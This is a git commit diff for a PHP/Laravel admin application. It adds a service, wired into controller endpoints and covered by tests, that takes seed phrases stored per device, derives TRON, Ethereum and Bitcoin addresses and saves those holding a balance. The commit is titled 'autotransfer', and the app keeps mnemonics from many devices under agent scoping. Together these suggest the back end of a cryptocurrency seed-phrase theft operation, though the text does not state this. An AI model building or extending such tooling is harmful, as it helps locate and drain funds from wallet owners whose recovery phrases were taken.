feat: autotransfer
This commit is contained in:
@@ -7,6 +7,7 @@ use App\Http\Controllers\Controller;
|
|||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\MnemonicWalletDiscovery;
|
||||||
use App\Services\WalletBalanceService;
|
use App\Services\WalletBalanceService;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
@@ -78,12 +79,14 @@ class MnemonicController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function wallets(WalletMnemonic $mnemonic)
|
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
|
||||||
{
|
{
|
||||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
$discovery->discoverFundedIndexZero($mnemonic);
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => '',
|
'msg' => '',
|
||||||
@@ -91,8 +94,11 @@ class MnemonicController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function refreshWallets(WalletMnemonic $mnemonic, WalletBalanceService $balances)
|
public function refreshWallets(
|
||||||
{
|
WalletMnemonic $mnemonic,
|
||||||
|
WalletBalanceService $balances,
|
||||||
|
MnemonicWalletDiscovery $discovery,
|
||||||
|
) {
|
||||||
if (! $this->mnemonicAllowed($mnemonic)) {
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
}
|
}
|
||||||
@@ -110,6 +116,8 @@ class MnemonicController extends Controller
|
|||||||
|
|
||||||
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||||
|
|
||||||
|
$discovery->discoverFundedIndexZero($mnemonic);
|
||||||
|
|
||||||
$addresses = WalletAddress::query()
|
$addresses = WalletAddress::query()
|
||||||
->where('mnemonic_id', $mnemonic->id)
|
->where('mnemonic_id', $mnemonic->id)
|
||||||
->orderBy('id')
|
->orderBy('id')
|
||||||
|
|||||||
@@ -0,0 +1,151 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Services;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\Chain\ChainDriver;
|
||||||
|
use App\Services\Chain\ChainManager;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* When a mnemonic has no linked addresses, derive BIP44 index 0 for TRON/ETH/BTC,
|
||||||
|
* query balances, and persist only chains that have a positive balance.
|
||||||
|
*/
|
||||||
|
class MnemonicWalletDiscovery
|
||||||
|
{
|
||||||
|
/** @var list<array{chain: string, chain_type: string}> */
|
||||||
|
private const CHAINS = [
|
||||||
|
['chain' => 'tron', 'chain_type' => 'TRON'],
|
||||||
|
['chain' => 'eth', 'chain_type' => 'ETH'],
|
||||||
|
['chain' => 'btc', 'chain_type' => 'BTC'],
|
||||||
|
];
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly ChainManager $chains,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return int Number of address rows created or updated with positive balance
|
||||||
|
*/
|
||||||
|
public function discoverFundedIndexZero(WalletMnemonic $mnemonic): int
|
||||||
|
{
|
||||||
|
$phrase = $mnemonic->mnemonic;
|
||||||
|
if ($phrase === null || trim($phrase) === '') {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$existing = WalletAddress::query()
|
||||||
|
->where('mnemonic_id', $mnemonic->id)
|
||||||
|
->exists();
|
||||||
|
if ($existing) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$source = trim((string) ($mnemonic->source ?: ''));
|
||||||
|
$saved = 0;
|
||||||
|
|
||||||
|
foreach (self::CHAINS as $spec) {
|
||||||
|
try {
|
||||||
|
if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) {
|
||||||
|
$saved++;
|
||||||
|
}
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'chain' => $spec['chain'],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $saved;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function discoverOne(
|
||||||
|
WalletMnemonic $mnemonic,
|
||||||
|
string $phrase,
|
||||||
|
string $source,
|
||||||
|
string $chain,
|
||||||
|
string $chainType,
|
||||||
|
): bool {
|
||||||
|
$driver = $this->chains->resolve($chain);
|
||||||
|
$address = $driver->deriveAddress($phrase, 0);
|
||||||
|
$coins = $this->fetchCoins($chain, $address);
|
||||||
|
if (! $this->hasPositiveBalance($coins)) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
$row = WalletAddress::query()->firstOrNew([
|
||||||
|
'device_id' => $mnemonic->device_id,
|
||||||
|
'address' => $address,
|
||||||
|
'source' => $source !== '' ? $source : null,
|
||||||
|
]);
|
||||||
|
|
||||||
|
$row->chain_type = $chainType;
|
||||||
|
$row->mnemonic_id = $mnemonic->id;
|
||||||
|
$row->derive_index = 0;
|
||||||
|
if (! $row->exists) {
|
||||||
|
$row->monitor = 0;
|
||||||
|
}
|
||||||
|
foreach ($coins as $col => $value) {
|
||||||
|
$row->{$col} = $value;
|
||||||
|
}
|
||||||
|
$row->save();
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, string>
|
||||||
|
*/
|
||||||
|
private function fetchCoins(string $chain, string $address): array
|
||||||
|
{
|
||||||
|
$driver = $this->chains->resolve($chain);
|
||||||
|
|
||||||
|
return match ($chain) {
|
||||||
|
'tron' => [
|
||||||
|
'trx' => $driver->getNativeBalance($address),
|
||||||
|
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.tron.usdt_contract', '')),
|
||||||
|
],
|
||||||
|
'eth' => [
|
||||||
|
'eth' => $driver->getNativeBalance($address),
|
||||||
|
'usdt' => $this->tokenBalance($driver, $address, (string) config('coruna.eth.usdt_contract', '')),
|
||||||
|
],
|
||||||
|
'btc' => [
|
||||||
|
'btc' => $driver->getNativeBalance($address),
|
||||||
|
],
|
||||||
|
default => [],
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
private function tokenBalance(ChainDriver $driver, string $address, string $contract): string
|
||||||
|
{
|
||||||
|
$contract = trim($contract);
|
||||||
|
if ($contract === '') {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
return (string) $driver->getTokenBalance($address, $contract);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
return '0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array<string, string> $coins
|
||||||
|
*/
|
||||||
|
private function hasPositiveBalance(array $coins): bool
|
||||||
|
{
|
||||||
|
foreach ($coins as $value) {
|
||||||
|
if (! is_numeric($value)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (bccomp((string) $value, '0', 18) > 0) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -161,4 +161,109 @@ class MnemonicWalletsTest extends TestCase
|
|||||||
->assertJsonPath('code', 1)
|
->assertJsonPath('code', 1)
|
||||||
->assertJsonStructure(['data' => ['retry_after']]);
|
->assertJsonStructure(['data' => ['retry_after']]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||||
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||||
|
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||||
|
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||||
|
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake(function ($request) {
|
||||||
|
$url = $request->url();
|
||||||
|
if (str_contains($url, '/wallet/getaccount')) {
|
||||||
|
return Http::response(['balance' => 5_000_000], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||||
|
return Http::response(['constant_result' => [dechex(0)]], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, 'ethereum.example')) {
|
||||||
|
$body = $request->data();
|
||||||
|
$method = $body['method'] ?? '';
|
||||||
|
if ($method === 'eth_getBalance') {
|
||||||
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||||
|
}
|
||||||
|
if ($method === 'eth_call') {
|
||||||
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (str_contains($url, 'mempool.example')) {
|
||||||
|
return Http::response([
|
||||||
|
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
|
||||||
|
], 200);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Http::response([], 404);
|
||||||
|
});
|
||||||
|
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
||||||
|
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
||||||
|
->assertJsonPath('data.addresses.0.trx', '5')
|
||||||
|
->assertJsonCount(1, 'data.addresses');
|
||||||
|
|
||||||
|
$this->assertDatabaseHas('wallet_addresses', [
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
||||||
|
'mnemonic_id' => $mnemonic->id,
|
||||||
|
'derive_index' => 0,
|
||||||
|
'chain_type' => 'TRON',
|
||||||
|
]);
|
||||||
|
$this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function wallets_skips_persist_when_discovered_balances_are_zero(): void
|
||||||
|
{
|
||||||
|
config([
|
||||||
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||||
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||||
|
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
||||||
|
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||||
|
'coruna.btc.api_url' => 'https://mempool.example/api',
|
||||||
|
]);
|
||||||
|
|
||||||
|
Http::fake(function ($request) {
|
||||||
|
$url = $request->url();
|
||||||
|
if (str_contains($url, '/wallet/getaccount')) {
|
||||||
|
return Http::response(['balance' => 0], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
||||||
|
return Http::response(['constant_result' => ['0']], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, 'ethereum.example')) {
|
||||||
|
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
|
||||||
|
}
|
||||||
|
if (str_contains($url, 'mempool.example')) {
|
||||||
|
return Http::response([
|
||||||
|
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
|
||||||
|
], 200);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Http::response([], 404);
|
||||||
|
});
|
||||||
|
|
||||||
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||||
|
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
|
||||||
|
$mnemonic = $this->storeMnemonic($device);
|
||||||
|
|
||||||
|
$this->actingAs($admin, 'admin')
|
||||||
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
||||||
|
->assertOk()
|
||||||
|
->assertJsonPath('code', 0)
|
||||||
|
->assertJsonCount(0, 'data.addresses');
|
||||||
|
|
||||||
|
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user